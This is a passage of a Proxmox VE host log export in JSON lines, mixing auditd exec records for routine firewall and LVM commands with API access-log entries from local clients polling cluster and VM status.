{"@timestamp":1781964405685,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.685:60891): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58461 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965933726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 882"} {"@timestamp":1781965185601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.601:64520): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61986 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495677,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.677:65843): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964405682,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.682:60890): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=57c1a8ad1740 items=0 ppid=1156 pid=58460 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965932721,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:12 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965185593,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.593:64519): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2ce0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495666,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.666:65842): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964405680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.680:60889): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13bc60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58460 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965932721,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965184426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965184.426:64518): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d4afb000 a1=64f8d73b2970 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495033,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.033:65841): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964405675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.675:60888): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136080 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965932721,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965184404,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965184.404:64517): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5936020 a1=64f8d73be670 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61981 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495002,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.002:65840): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964405670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.670:60887): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13dd80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965931718,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965182091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965182.091:64516): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493210,"@rawstring":"node=pve type=EXECVE msg=audit(1781965493.210:65839): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964405665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.665:60886): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60f2990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58457 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965931718,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781965182086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965182.086:64513): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493193,"@rawstring":"node=pve type=EXECVE msg=audit(1781965493.193:65836): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964405660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.660:60885): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13dd80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965929796,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965180.242:64509): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253b00 a1=637ee7254860 a2=637ee7240ef0 a3=8 items=2 ppid=61975 pid=61976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488183,"@rawstring":"node=pve type=EXECVE msg=audit(1781965488.183:65833): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964405655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.655:60884): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965929796,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:09 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965180.242:64510): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242570 a1=637ee7253790 a2=637ee7240ef0 a3=8 items=2 ppid=61975 pid=61977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488177,"@rawstring":"node=pve type=EXECVE msg=audit(1781965488.177:65830): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964405648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.648:60883): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965929796,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 906"} {"@timestamp":1781965180239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965180.239:64508): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242e00 a1=637ee7252d10 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=61974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485657,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.657:65827): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964405642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.642:60882): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58453 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965928697,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965177079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965177.079:64507): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485653,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.653:65826): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964405639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.639:60881): arch=c000003e syscall=59 success=yes exit=0 a0=5ac50ddcbed0 a1=5ac50ddc8c50 a2=5ac50ddaa680 a3=5 items=2 ppid=58446 pid=58452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965928697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965177071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965177.071:64504): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485650,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.650:65825): argc=1 a0=\"date\""} {"@timestamp":1781964405636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.636:60880): arch=c000003e syscall=59 success=yes exit=0 a0=5ac4d1d81ac8 a1=7fff5c7b0e80 a2=5ac50ddaa680 a3=5ac4d1d6524e items=2 ppid=58446 pid=58448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965928697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965175575,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.575:64501): arch=c000003e syscall=59 success=yes exit=0 a0=5c0876795b20 a1=5c08767a1e40 a2=5c087676f680 a3=5 items=2 ppid=61965 pid=61971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485644,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.644:65823): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964405635,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.635:60879): arch=c000003e syscall=59 success=yes exit=0 a0=7fff5c7b0e40 a1=5ac50ddb1310 a2=5ac50ddaa680 a3=5 items=2 ppid=58446 pid=58447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965927297,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781965175567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.567:64500): arch=c000003e syscall=59 success=yes exit=0 a0=5c08643ceac8 a1=7ffe15394d60 a2=5c087676f680 a3=5c08643b224e items=2 ppid=61965 pid=61967 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485638,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.638:65822): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964405631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.631:60877): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965927297,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965175564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.564:64499): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe15394d20 a1=5c08767911c0 a2=5c087676f680 a3=5 items=2 ppid=61965 pid=61966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485630,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.630:65821): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964405625,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.625:60876): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965925779,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965175559,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.559:64497): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61965 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485623,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.623:65820): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964405618,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.618:60875): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58444 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965925779,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:04 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965175550,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.550:64496): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61964 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485614,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.614:65819): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964405613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.613:60874): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58443 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965925779,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781965175543,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.543:64495): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61963 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485608,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.608:65817): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964405608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.608:60873): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965924767,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965175534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.534:64494): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61962 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485603,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.603:65816): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964405601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.601:60872): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6330 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58441 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965924767,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965175519,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.519:64493): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485597,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.597:65815): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964404883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964404.883:60871): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e2250 a1=64f8d73db0d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965923769,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965175515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.515:64492): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b1ef7798740 items=0 ppid=1156 pid=61960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965485588,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.588:65814): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964404842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964404.842:60870): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6d81d70 a1=64f8d73db260 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965923769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 901"} {"@timestamp":1781965175511,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.511:64491): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1402b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485583,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.583:65813): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964404242,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964404.242:60869): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58436 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965922762,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965175503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.503:64490): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc147030 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61959 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485576,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.576:65812): argc=2 a0=\"ipset\" 